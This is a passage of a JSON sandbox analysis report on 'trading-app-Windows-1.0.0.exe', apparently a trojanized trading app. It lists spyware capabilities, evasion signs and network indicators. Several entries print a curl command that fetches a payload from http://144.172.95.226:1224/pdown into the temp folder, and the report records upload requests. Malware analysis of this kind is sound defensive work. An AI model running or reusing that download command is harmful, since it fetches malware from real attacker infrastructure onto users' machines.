an executable section named \".text\"\n \"vulkan-1.dll\" has an executable section named \".text\"\n \"libEGL.dll\" has an executable section named \".text\"\n \"nsis7z.dll\" has an executable section named \".text\"\n \"elevate.exe\" has an executable section named \".text\"\n \"StdUtils.dll\" has an executable section named \".text\"\n \"System.dll\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"trading-app-Windows-1.0.0.exe\" has an writable section named \".data\"\n \"trading-app-Windows-1.0.0.exe\" has an writable section named \".ndata\"\n \"vk_swiftshader.dll\" has an writable section named \".data\"\n \"vk_swiftshader.dll\" has an writable section named \".tls\"\n \"ffmpeg.dll\" has an writable section named \".data\"\n \"ffmpeg.dll\" has an writable section named \".tls\"\n \"vulkan-1.dll\" has an writable section named \".data\"\n \"vulkan-1.dll\" has an writable section named \".tls\"\n \"libEGL.dll\" has an writable section named \".data\"\n \"libEGL.dll\" has an writable section named \".tls\"\n \"nsis7z.dll\" has an writable section named \".data\"\n \"elevate.exe\" has an writable section named \".data\"\n \"StdUtils.dll\" has an writable section named \".data\"\n \"System.dll\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$41","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x3f5400\" greater than 0x100000\n Raw size of \".text\" is \"0x22f600\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x3f5267\" greater than 0x100000\n Virtual size of \".text\" is \"0x22f455\" greater than 0x100000\n Virtual size of \".data\" is \"0x49e228\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"vk_swiftshader.dll\" has high imagebase \"0x180000000\"\n \"ffmpeg.dll\" has high imagebase \"0x180000000\"\n \"vulkan-1.dll\" has high imagebase \"0x180000000\"\n \"libEGL.dll\" has high imagebase \"0x180000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\cmd.exe\" [Source: 00000000-00006124-00000BC1-715666089]\n Observed system executable string:\"%WINDIR%\\system32\\cmd.exe\" [Source: 00000000-00006124-00000C46-18185393581]\n Observed system executable string:\"%WINDIR%\\system32\\cmd.exe /d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"\" [Source: 00000000-00006124-00000C46-18185393581]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$42","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"fashdefi.store\"\n \"ipinfo.io\"\n \"mksjwbqtddlpyzjqokyu.supabase.co\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"trading-app-Windows-1.0.0.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"trading-app-Windows-1.0.0.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"trading-app-Windows-1.0.0.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"trading-app.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"trading-app.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"trading-app.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\USER PROFILE\"; Key: \"LANGUAGES\")\n \"trading-app.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\GEO\"; Key: \"NATION\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"$44","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"trading-app-Windows-1.0.0.exe\" searching for class \"#32770\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$45","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$46","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$47","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"trading-app-Windows-1.0.0.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"nsis7z.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"elevate.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"StdUtils.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"System.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"trading-app-Windows-1.0.0.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nse95AF.tmp\\System.dll\"\n \"trading-app-Windows-1.0.0.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nse95AF.tmp\\app-64.7z\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"trading-app-Windows-1.0.0.exe\")\n file/memory contains long string with (Indicator: \"LoadLibrary\"; File: \"System.dll\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"trading-app-Windows-1.0.0.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"trading-app.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$48","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"37ca5c11-b157-42d7-ad9d-f305801e2b83.tmp\" has type \"JSON text data\" - Location: [%APPDATA%\\trading-super-deriv\\37ca5c11-b157-42d7-ad9d-f305801e2b83.tmp]\n \"06c22772-9d60-496b-91b1-de9664bf0a0e.tmp\" has type \"JSON text data\" - Location: [%APPDATA%\\trading-super-deriv\\Network\\06c22772-9d60-496b-91b1-de9664bf0a0e.tmp]\n \"5998fd2f-1e17-4440-8ebb-abea01e3a6b1.tmp\" has type \"JSON text data\" - Location: [%APPDATA%\\trading-super-deriv\\5998fd2f-1e17-4440-8ebb-abea01e3a6b1.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$49","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"trading-app-Windows-1.0.0.exe\" queries basic process information of the \"C:\\trading-app-Windows-1.0.0.exe\" (UID: 4416)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$4a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"trading-app-Windows-1.0.0.exe\" reads file \"c:\\users\\%osuser%\\desktop\\desktop.ini\"\n \"trading-app-Windows-1.0.0.exe\" reads file \"c:\\users\\%osuser%\\documents\\desktop.ini\"\n \"trading-app-Windows-1.0.0.exe\" reads file \"c:\\users\\%osuser%\\music\\desktop.ini\"\n \"trading-app-Windows-1.0.0.exe\" reads file \"c:\\users\\%osuser%\\pictures\\desktop.ini\"\n \"trading-app-Windows-1.0.0.exe\" reads file \"c:\\users\\%osuser%\\videos\\desktop.ini\"\n \"trading-app-Windows-1.0.0.exe\" reads file \"c:\\users\\%osuser%\\downloads\\desktop.ini\"\n \"trading-app-Windows-1.0.0.exe\" reads file \"c:\\users\\%osuser%\\onedrive\\desktop.ini\"\n \"trading-app-Windows-1.0.0.exe\" reads file \"c:\\trading-app-windows-1.0.0.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Found a reference to an external IP address lookup service\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Tries to identify its external IP address","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"trading-app-Windows-1.0.0.exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"trading-app-Windows-1.0.0.exe\" trying to touch file \"C:\\TRADING-APP-WINDOWS-1.0.0.EXE.LOCAL\"\n \"trading-app-Windows-1.0.0.exe\" trying to touch file \"C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.16299.248_none_d0271d135f36f548\\comctl32.dll\"\n \"trading-app-Windows-1.0.0.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\imm32.dll\"\n \"trading-app-Windows-1.0.0.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"trading-app-Windows-1.0.0.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\oleaut32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"trading-app-Windows-1.0.0.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"trading-app-Windows-1.0.0.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$4b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$4c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"trading-app-Windows-1.0.0.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\nse95af.tmp\\system.dll\"\n \"trading-app-Windows-1.0.0.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\nse95af.tmp\\app-64.7z\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"trading-app-Windows-1.0.0.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nse95AF.tmp\\7z-out\\icudtl.dat\"\n \"trading-app-Windows-1.0.0.exe\" writes a file \"%TEMP%\\nse95AF.tmp\\7z-out\\icudtl.dat\"\n \"trading-app-Windows-1.0.0.exe\" writes a file \"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\icudtl.dat\"\n \"trading-app.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\trading-super-deriv\\Local Storage\\leveldb\\000001.dbtmp\"\n \"trading-app.exe\" writes a file \"%APPDATA%\\trading-super-deriv\\Local Storage\\leveldb\\000001.dbtmp\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST /defy/v6\"\n Found http requests in header \"POST /uploads\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"Observed string: \"%WINDIR%\\system32\\cmd.exe /d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"\" (Indicator: \"\"curl\") in Source: 00000000-00006124-00000C46-18185393581\n Observed string: \"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"\" (Indicator: \"\"curl\") in Source: cmd.exe","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-576","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"Contains reference to OpenSSL library string","description":"Found string \"--use-openssl-ca\" (Indicator: \"openssl-\"; Source: \"00000000-00004288.00000000.110171.00254000.00000004.mdmp, 00000000-00004288.00000002.114010.00264000.00000004.mdmp\")\n Found string \"I --openssl-config\" (Indicator: \"openssl-\"; Source: \"00000000-00004288.00000002.114010.00264000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-494","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"jcmx.\" [Source: trading-app-Windows-1.0.0.exe]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"144.172.95.226\" found in string \"http://144.172.95.226:1224/pdown\"\n \"144.172.95.226:1224\"\n Potential IP \"144.172.95.226\" found in string \"%WINDIR%\\system32\\cmd.exe /d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"\"\n Potential IP \"144.172.95.226\" found in string \"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"\"\n Potential IP \"1.1.1.1\" found in string \"https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/\"\n Potential IP \"127.0.0.1\" found in string \"activate inspector on host:port (default: 127.0.0.1:9229)\"\n \"19.00.0.0\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4f","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"fashdefi.store:6168\" has high entropy\n Contacted domain: \"mksjwbqtddlpyzjqokyu.supabase.co\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"mksjwbqtddlpyzjqokyu.supabase.co\" (10 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"References hosts file in file/memory","description":"Found string \":\\WINDOWS\\system32\\drivers\\etc\\hosts\" (Indicator: \"\\system32\\drivers\\etc\\hosts\"; Source: \"00000000-00004288.00000000.110171.0007C000.00000004.mdmp, 00000000-00004288.00000001.112089.0007C000.00000004.mdmp, 00000000-00004288.00000002.114010.0007C000.00000004.mdmp\")\n Found string \"C:\\WINDOWS\\system32\\drivers\\etc\\hosts\" (Indicator: \"\\system32\\drivers\\etc\\hosts\"; Source: \"00000000-00004288.00000000.110171.0007C000.00000004.mdmp, 00000000-00004288.00000001.112089.0007C000.00000004.mdmp, 00000000-00004288.00000002.114010.0007C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-479","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://144.172.95.226:1224\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"ipinfo.io\" (89 days old)\n Short term registered certificate: \"mksjwbqtddlpyzjqokyu.supabase.co\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"34.117.59.81\" on port \"443\"\n HTTPS traffic to \"104.18.38.10\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"nsis7z.dll\"\n YARA signature for AES encryption matched on process \"00000000-00004416\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"trading-app.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"3501083e\"\n \"cx\": \"16\"\n \"cy\": \"16\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$50","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"trading-app-Windows-1.0.0.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"trading-app.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"trading-app.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"trading-app.exe\" called \"GetUserNameW\" (UID: 00000000-00006124)\n \"trading-app.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$51","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"RegEnumKeyW\" (Indicator: \"RegEnumKey\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"RegEnumValueW\" (Indicator: \"RegEnumValue\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"RegEnumValueA\" (Indicator: \"RegEnumValue\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"RegQueryValueExA\" (Indicator: \"RegQueryValue\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"RegOpenKeyExA\" (Indicator: \"RegOpenKey\"; File: \"trading-app-Windows-1.0.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"trading-app-Windows-1.0.0.exe\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"trading-app-Windows-1.0.0.exe\")\n file/memory contains long string with (Indicator: \"GetProcAddress\"; File: \"System.dll\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 